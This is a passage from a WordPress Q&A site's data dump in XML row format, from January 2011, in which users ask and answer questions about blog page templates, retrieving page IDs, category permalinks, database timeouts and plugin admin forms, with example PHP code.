post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Blog&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;shadow-top&quot;&amp;gt;&#xA;    &amp;lt;!-- Shadow at the top of the slider --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;intro2&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;?php /* Display the contents of static page Posts page */&#xA;        if ( 'page' == get_option('show_on_front') &amp;amp;&amp;amp; get_option('page_for_posts') &amp;amp;&amp;amp; is_home() ) : the_post();&#xA;            $page_for_posts_id = get_option('page_for_posts');&#xA;            setup_postdata(get_page($page_for_posts_id));&#xA;        ?&amp;gt;&#xA;            &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;page&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;?php edit_post_link('Edit', '', '', $page_for_posts_id); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;            rewind_posts();&#xA;        endif;&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #featured --&amp;gt;&#xA;&amp;lt;div class=&quot;shadow-bottom&quot;&amp;gt;&#xA;    &amp;lt;!-- Shadow at the bottom of the slider --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;blog&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php // find all content that has the type of video and then to loop through them. ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;                            &amp;lt;?php if ( is_front_page() ) { ?&amp;gt;&#xA;                                &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;?php } else { ?&amp;gt;&#xA;                                &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                                &amp;lt;?php the_content(); ?&amp;gt;&#xA;                                &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;                                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '&amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;                        &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-26T16:49:29.217" LastActivityDate="2011-01-26T20:16:19.510" Title="Modifying the following code to displaying the title and the content of static page Posts page?" Tags="&lt;posts&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7796" PostTypeId="2" ParentId="7792" CreationDate="2011-01-26T08:19:43.080" Score="0" ViewCount="" Body="&lt;p&gt;What you are probably looking for is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_number&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comment_number()&lt;/code&gt;&lt;/a&gt; or &lt;code&gt;get_comments_number()&lt;/code&gt; depending if you want it formatted or just the number.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-01-26T08:19:43.080" CommentCount="1" />
  <row Id="7797" PostTypeId="1" CreationDate="2011-01-26T04:57:20.890" Score="0" ViewCount="113" Body="&lt;p&gt;I've a self hosted wordpress blog. The server showing internal (500) server error and usually the system admins ask me to optimize my database. The database is relatively small in size and fits in few MBs. The error usually displaying is Fast CGI process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual reply from admins are as below &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As we have checked and found&#xA;  that you are using Mysql database and&#xA;  fetching database through php code&#xA;  from database server which is at&#xA;  remote location and in this process&#xA;  when queries are being more then PHP&#xA;  fast cgi application get hanged and&#xA;  that's why you are getting this issue,&#xA;  For this you should check code or&#xA;  database optimization&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I optimize my database? I've installed a wordpress plugin to optimize my tables. Or is it a server problem?&lt;/p&gt;&#xA;" OwnerUserId="5488" LastActivityDate="2011-01-26T09:23:34.680" Title="database optimization and server errors" Tags="&lt;mysql&gt;&lt;server&gt;" AnswerCount="3" />
  <row Id="7798" PostTypeId="2" ParentId="7797" CreationDate="2011-01-26T06:24:11.140" Score="0" ViewCount="" Body="&lt;p&gt;May be the problem not in your database size, but in your query. May be you use uneffective query or use sub-query that containt recursive recordset, could be your database server down. &lt;/p&gt;&#xA;" LastActivityDate="2011-01-26T06:24:11.140" />
  <row Id="7799" PostTypeId="2" ParentId="7797" CreationDate="2011-01-26T06:30:26.650" Score="1" ViewCount="" Body="&lt;p&gt;It probably is a host issue.  Assuming that you're relatively stock Wordpress, the queries shouldn't be so inefficient that they're causing timeouts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it says a &quot;remote mysql database&quot;, does that mean a remote database server with the same hosting company, or does it mean you're using a database server that's physically located somewhere else?  If the latter, that could be your problem. Negotiating a MySQL connection then running a query requires a fair number of roundtrips, so if there's a lot of latency it could add up fast to approach the timeout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the rather canned-looking reply from the host, I'm willing to bet you're using some low-priced shared hosting.  Unfortunately, almost all of those are terrible.  After a year or two of having problem after problem with shared hosts, I gave up and went to a good VPS and have had no issues since.  This may not be a problem for you though, if you're not willing and able to manage an entire virtual server for one small blog.  &lt;/p&gt;&#xA;" LastActivityDate="2011-01-26T06:30:26.650" />
  <row Id="7800" PostTypeId="2" ParentId="7797" CreationDate="2011-01-26T09:23:34.680" Score="1" ViewCount="" Body="&lt;p&gt;Are your database and web servers on same hosting and same hosting account? If you are trying to use remote database from another party this might indeed be way too slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is all in same account then your hosting is probably doing it wrong. For cheaper hosting database usually resides on same server, for more advanced hosting separate database servers resides nearby (reached by local network or whatever). If hosting cannot provide database access that is sufficiently fast and reachable - it is their problem with configuration, not your problem with tables/queries.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-26T09:23:34.680" />
  <row Id="7801" PostTypeId="2" ParentId="7781" CreationDate="2011-01-26T09:25:44.050" Score="2" ViewCount="" Body="&lt;p&gt;WordPress.com supports post editing via the XML-RPC protocol. There are &lt;a href=&quot;http://codex.wordpress.org/Weblog_Client&quot; rel=&quot;nofollow&quot;&gt;many editors that support this&lt;/a&gt; so you can write your posts on your own computer and post them to WordPress.com (or your own hosted WordPress installation). The better clients are smart enough to sync content, so if you use different editors on different computers they will check for new content (probably also drafts) and allow you to edit that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find another web-based blogging platform that has a nicer editor, it might be possible to create a &quot;hidden&quot; blog there and send your posts to your WordPress.com blog. I have a client that does this with Posterous because he prefers the post-by-mail functionality there.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-26T09:25:44.050" />
  <row Id="7802" PostTypeId="1" AcceptedAnswerId="7804" CreationDate="2011-01-26T09:37:56.573" Score="1" ViewCount="156" Body="&lt;p&gt;I'm looking for a library that can handle user registration (name, address, e-mail etc.) into my existing WordPress website. What options exist today, or will I have to pull my own?&lt;/p&gt;&#xA;" OwnerUserId="329" LastActivityDate="2011-01-26T09:57:56.727" Title="What's the best user registration library to integrate WordPress?" Tags="&lt;php&gt;&lt;registration&gt;&lt;library&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7803" PostTypeId="2" ParentId="7715" CreationDate="2011-01-26T09:52:40.123" Score="0" ViewCount="" Body="&lt;p&gt;I see three main ways to handle front-end form submissions in a widget:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A regular form that submits via POST and reloads the whole page. Easy to understand, easy to create, but not a nice user experience.&lt;/li&gt;&#xA;&lt;li&gt;Load your widget in a iframe, so that a form submission only reloads the iframe. Some external providers do this (eg. Google Calendar), but it may be harder to style the widget.&lt;/li&gt;&#xA;&lt;li&gt;Do the form submission via Ajax (with a regular form as a fallback?). This is probably the nicest option, but requires some work on your side. I once tried to give &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3610/how-to-manage-ajax-calls-and-json-in-wordpress&quot;&gt;a high-level overview of Ajax in WordPress&lt;/a&gt;, maybe that is a good place to start.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you leave a comment on this answer which way you prefer, I could give you more details.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-26T09:52:40.123" CommentCount="4" />
  <row Id="7804" PostTypeId="2" ParentId="7802" CreationDate="2011-01-26T09:57:56.727" Score="2" ViewCount="" Body="&lt;p&gt;This is tutorial on extending user information I have stored in bookmarks: &lt;a href=&quot;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;Adding and using custom user profile fields&lt;/a&gt;. Take a look and see if it fits your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I am not following developments in user functionality closely so there might have been changes/improvements since tutorial was published.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-26T09:57:56.727" CommentCount="1" />
  <row Id="7805" PostTypeId="1" CreationDate="2011-01-26T10:12:38.240" Score="1" ViewCount="1267" Body="&lt;p&gt;Example of the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page_id = 116; // 123 should be replaced with a specific Page's id from your site, which you can find by mousing over the link to edit that Page on the Manage Pages admin page. The id will be embedded in the query string of the URL, e.g. page.php?action=edit&amp;amp;post=123.&#xA;$page_data = get_page( $page_id ); // You must pass in a variable to the get_page function. If you pass in a value (e.g. get_page ( 123 ); ), Wordpress will generate an error.&#xA;&#xA;$content = apply_filters('the_content', $page_data-&amp;gt;post_content); // Get Content and retain Wordpress filters such as paragraph tags. Origin from: http://wordpress.org/support/topic/get_pagepost-and-no-paragraphs-problem&#xA;$title = $page_data-&amp;gt;post_title; // Get title&#xA;echo $title; // Output Content&#xA;echo $content; // Output Content&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;166&lt;/code&gt; (which was manually entered), I would like to retrieve the ID of the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i do $page_id = $post -&gt; ID it retrieves the title and content of thte first post of the loop below (this is the posts page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                &amp;lt;?php // find all content that has the type of video and then to loop through them. ?&amp;gt;&#xA;                &amp;lt;?php query_posts('showpost'); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                                &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;                                    &amp;lt;?php if ( is_front_page() ) { ?&amp;gt;&#xA;                                        &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                                    &amp;lt;?php } else { ?&amp;gt;&#xA;                                        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                                    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                                    &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                                        &amp;lt;?php the_content(); ?&amp;gt;&#xA;                                        &amp;lt;?&#xA;&#xA;php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;                                            &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '&amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;                                    &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to retrieve the code of the current page dynamically (which is 116).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the code to accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-26T10:53:56.957" LastActivityDate="2011-03-27T13:17:28.793" Title="How to get the specific Page's current ID and use it in a get_page function?" Tags="&lt;get-page&gt;" AnswerCount="3" />
  <row Id="7806" PostTypeId="2" ParentId="7805" CreationDate="2011-01-26T10:52:50.570" Score="0" ViewCount="" Body="&lt;p&gt;There's two methods, depending on if you're doing this inside or outside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside:&#xA;$page_id = $post-&gt;ID; (which you've mentioned, with no success, so I'll assume you're try for the alternative which is...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside:&#xA;$page_id = $wp_query-&gt;post-&gt;ID;&lt;/p&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2011-01-26T10:52:50.570" CommentCount="3" />
  <row Id="7807" PostTypeId="1" AcceptedAnswerId="7817" CreationDate="2011-01-26T11:01:07.063" Score="0" ViewCount="369" Body="&lt;p&gt;Hopefully another simple one, I have some nested categories, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- category-a&#xA;    - category-b&#xA;         -category-c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The permalink for category-c is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://&amp;lt;domain&amp;gt;/category/category-a/category-b/category-c/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'd really like is for the permalink to not include any parent categories, instead it would become this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://&amp;lt;domain&amp;gt;/category/category-c/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way this can be achieved? I have some categories that do nothing but group sub-categories together, thus I don't really want them displaying to my users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T12:02:08.053" LastActivityDate="2011-06-22T21:35:08.317" Title="Changing the category permalink structure" Tags="&lt;categories&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="7808" PostTypeId="1" CreationDate="2011-01-26T11:11:33.127" Score="0" ViewCount="52" Body="&lt;p&gt;I'm using the &quot;Striking&quot; Wordpress theme (http://themeforest.net/item/striking-premium-corporate-portfolio-wp-theme/128763).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the portfolio functionality to display images, video and text in a portfolio format, however I also want these items to be distributed by email and RSS, as a blog can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you advise how I can achieve this?&lt;/p&gt;&#xA;" LastActivityDate="2011-01-26T11:11:33.127" Title="Blog of portfolio items" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;rss&gt;" CommentCount="1" />
  <row Id="7810" PostTypeId="2" ParentId="7807" CreationDate="2011-01-26T11:24:56.073" Score="-1" ViewCount="" Body="&lt;p&gt;Damn, so &lt;a href=&quot;http://twitter.com/TobyHowarth&quot; rel=&quot;nofollow&quot;&gt;Toby Howarth&lt;/a&gt; just found this link for me, a bit of a hack but it does what I need it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/remove-parent-category-from-permalink#post-1038484&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/remove-parent-category-from-permalink#post-1038484&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It involves changing part of &lt;code&gt;wp-includes/category-template.php&lt;/code&gt;, not that I'm keen on using hacks but I really don't want the parent categories appearing in the category permalink structure.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2011-01-26T11:24:56.073" CommentCount="2" />
  <row Id="7811" PostTypeId="2" ParentId="7807" CreationDate="2011-01-26T11:47:43.313" Score="0" ViewCount="" Body="&lt;p&gt;Alas that won't work, although I did briefly look at this advanced permalinks wordpress plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bit.ly/d9WWr&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/d9WWr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does seem to mention more control over category level permalinks, maybe something to check out.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-26T11:47:43.313" CommentCount="2" />
  <row Id="7812" PostTypeId="1" AcceptedAnswerId="8373" CreationDate="2011-01-26T11:54:21.980" Score="2" ViewCount="323" Body="&lt;p&gt;I have seen and been using the following technique for adding php scripts to my plugin for handling custom forms in a wordpress plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from the quizzin plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$code_pages = array('quiz_form.php','quiz_action.php', 'question_form.php', 'question.php');&#xA;        foreach($code_pages as $code_page) {&#xA;            $hookname = get_plugin_page_hookname(&quot;quizzin/$code_page&quot;, '' );&#xA;            $_registered_pages[$hookname] = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, the 'quiz_action.php' is later used as the target for an administration form (these forms are used only in wp-admin)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;form name=&quot;post&quot; action=&quot;&amp;lt;?php echo $GLOBALS['my_plugin_folder'] ?&amp;gt;/quiz_action.php&quot; method=&quot;post&quot; id=&quot;post&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; This method is discussed here - &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1778/admin-config-screen-without-menu/1812#1812&quot;&gt;Admin config screen without menu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final comment below by a Wordpress core dev seems to discourage this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/how-can-i-execute-php-scripts-in-my-plugin-folder&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/how-can-i-execute-php-scripts-in-my-plugin-folder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is best practice here? Should administration forms be posting to wp-admin/admin.php?action=foo or wp-admin/edit.php?action=bar. How does one register these actions? Is this documented anywhere? To be clear, these files should not be linked from an admin menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Wordpress 3.0.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="500" LastEditorUserId="500" LastEditorDisplayName="" LastEditDate="2011-01-26T20:20:27.880" LastActivityDate="2011-02-02T18:02:50.487" Title="What is the recommended way to create plugin administration forms?" Tags="&lt;plugin-development&gt;&lt;forms&gt;&lt;admin-menu&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="7813" PostTypeId="2" ParentId="7621" CreationDate="2011-01-26T11:59:17.887" Score="1" ViewCount="" Body="&lt;p&gt;Here's what I'm trying to do to integrate head.js:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i put this code in my template &lt;code&gt;functions.php&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('THEME', get_bloginfo('template_url'), true);&#xA;define('THEME_JS', THEME . '/js/', true);&#xA;&#xA;add_action('wp_print_scripts','head_js_files');&#xA;function head_js_files()&#xA;{&#xA;    if (is_admin()) return; //to preserve the admin&#xA;&#xA;        global $wp_scripts;&#xA;&#xA;    $in_queue = $wp_scripts-&amp;gt;queue;&#xA;&#xA;    if(!empty($in_queue))&#xA;    {&#xA;        $scripts = array();&#xA;        foreach($in_queue as $script)&#xA;        {&#xA;&#xA;            $src = $wp_scripts-&amp;gt;registered[$script]-&amp;gt;src;&#xA;            $src = ( (preg_match('/^(http|https)\:\/\//', $src)) ? '' : get_bloginfo('url') ) . $src;&#xA;            $scripts[] = '{' . $script . ':&quot;' . $src . '&quot;}';&#xA;        }&#xA;&#xA;        echo &quot;&amp;lt;script type=\&quot;text/javascript\&quot; src=\&quot;&quot;.THEME_JS.&quot;head.js\&quot;&amp;gt;&amp;lt;/script&amp;gt;\n&quot;;&#xA;        echo &quot;&amp;lt;script type=\&quot;text/javascript\&quot;&amp;gt;head.js(\n&quot;. implode(&quot;,\n&quot;, $scripts). &quot;\n);&amp;lt;/script&amp;gt;\n&quot;;&#xA;    }&#xA;&#xA;    $wp_scripts-&amp;gt;queue = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It outputs something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;head.js(&#xA;    {jquery:&quot;/wp-includes/js/jquery/jquery.js&quot;},&#xA;    {jquery_lastfm:&quot;http://localhost/lucianomammino/wp-content/plugins/lastfm-recent-tracks-widget/js/jquery.lastfm.js&quot;},&#xA;    {nav:&quot;http://localhost/lucianomammino/wp-content/themes/lmtheme/js/jquery.dropdown.js&quot;}&#xA;);&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that it also uses script labeling that could be really useful sometimes to identify what (and when) scripts are loaded.&lt;/p&gt;&#xA;" OwnerUserId="2730" LastEditorUserId="2730" LastEditorDisplayName="" LastEditDate="2011-02-02T19:50:33.037" LastActivityDate="2011-02-02T19:50:33.037" CommentCount="4" />
  <row Id="7814" PostTypeId="2" ParentId="7805" CreationDate="2011-01-26T11:59:21.147" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$page_id = $wp_query-&amp;gt;get_queried_object_id();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if you're using a custom page for posts, where are you adding this code?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-26T11:59:21.147" CommentCount="1" />
  <row Id="7815" PostTypeId="2" ParentId="7792" CreationDate="2011-01-26T12:03:49.223" Score="0" ViewCount="" Body="&lt;p&gt;From the looks of Matt's page he's running a filter on either the img or gallery shortcode and replacing the caption with the comment count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've answered two related questions on how to modify the img and gallery shortcode functions, see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4281/how-to-customize-the-default-html-for-wordpress-attachments&quot;&gt;How to customize the default HTML for Wordpress Attachments&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4343/how-to-customise-the-output-of-the-wp-image-gallery-shortcode-from-a-plugin&quot;&gt;How to customise the output of the WP image gallery shortcode from a plugin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i think you'd be aiming to do here is selectively add a filter onto one of the shortcodes and change the caption text for the comment count(as it appears is done on Matt's website).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-26T12:03:49.223" CommentCount="2" />
  <row Id="7816" PostTypeId="2" ParentId="7812" CreationDate="2011-01-26T12:06:30.917" Score="3" ViewCount="" Body="&lt;p&gt;I personally just add a menu link and in the function for it handle the form. With $_SERVER['REQUEST_URI'] as the action. Example below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;admin_menu&quot;, &quot;menu&quot; );&#xA;function menu(){&#xA;    add_menu_page('Test form', 'Test form', 'manage_options', 'show_form' );&#xA;}&#xA;function show_form(){&#xA;    if ( $_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot; ){&#xA;            print &quot;do stuff&quot;;&#xA;    } else {&#xA;         ?&amp;gt;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; /&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;?php&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2596" LastEditorUserId="2596" LastEditorDisplayName="" LastEditDate="2011-01-26T12:43:34.100" LastActivityDate="2011-01-26T12:43:34.100" CommentCount="12" />
  <row Id="7817" PostTypeId="2" ParentId="7807" CreationDate="2011-01-26T12:22:10.760" Score="3" ViewCount="" Body="&lt;p&gt;The following code changes all links to category archives so they don't include the parent category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'category_link', 'wpse7807_category_link', 10, 2 );&#xA;function wpse7807_category_link( $catlink, $category_id )&#xA;{&#xA;    global $wp_rewrite;&#xA;    $catlink = $wp_rewrite-&amp;gt;get_category_permastruct();&#xA;&#xA;    if ( empty( $catlink ) ) {&#xA;        $catlink = home_url('?cat=' . $category_id);&#xA;    } else {&#xA;        $category = &amp;amp;get_category( $category_id );&#xA;        $category_nicename = $category-&amp;gt;slug;&#xA;&#xA;        $catlink = str_replace( '%category%', $category_nicename, $catlink );&#xA;        $catlink = home_url( user_trailingslashit( $catlink, 'category' ) );&#xA;    }&#xA;    return $catlink;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-26T12:22:10.760" CommentCount="3" />
  <row Id="7818" PostTypeId="1" AcceptedAnswerId="7823" CreationDate="2011-01-26T12:29:39.167" Score="0" ViewCount="613" Body="&lt;p&gt;I have this inside my posts page (set in the admin panel: Posts Page: Blog):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/waZpC.png&quot; alt=&quot;Screenshot homepage setting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;blog.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php&#xA;    /**&#xA;     * Template Name: Blog&#xA;     * @package WordPress&#xA;     * @subpackage Prominent&#xA;     * @since Prominent 1.0&#xA;     */&#xA;    get_header(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;shadow-top&quot;&amp;gt;&#xA;        &amp;lt;!-- Shadow at the top of the slider --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;intro2&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #featured --&amp;gt;&#xA;    &amp;lt;div class=&quot;shadow-bottom&quot;&amp;gt;&#xA;        &amp;lt;!-- Shadow at the bottom of the slider --&amp;gt;&#xA;    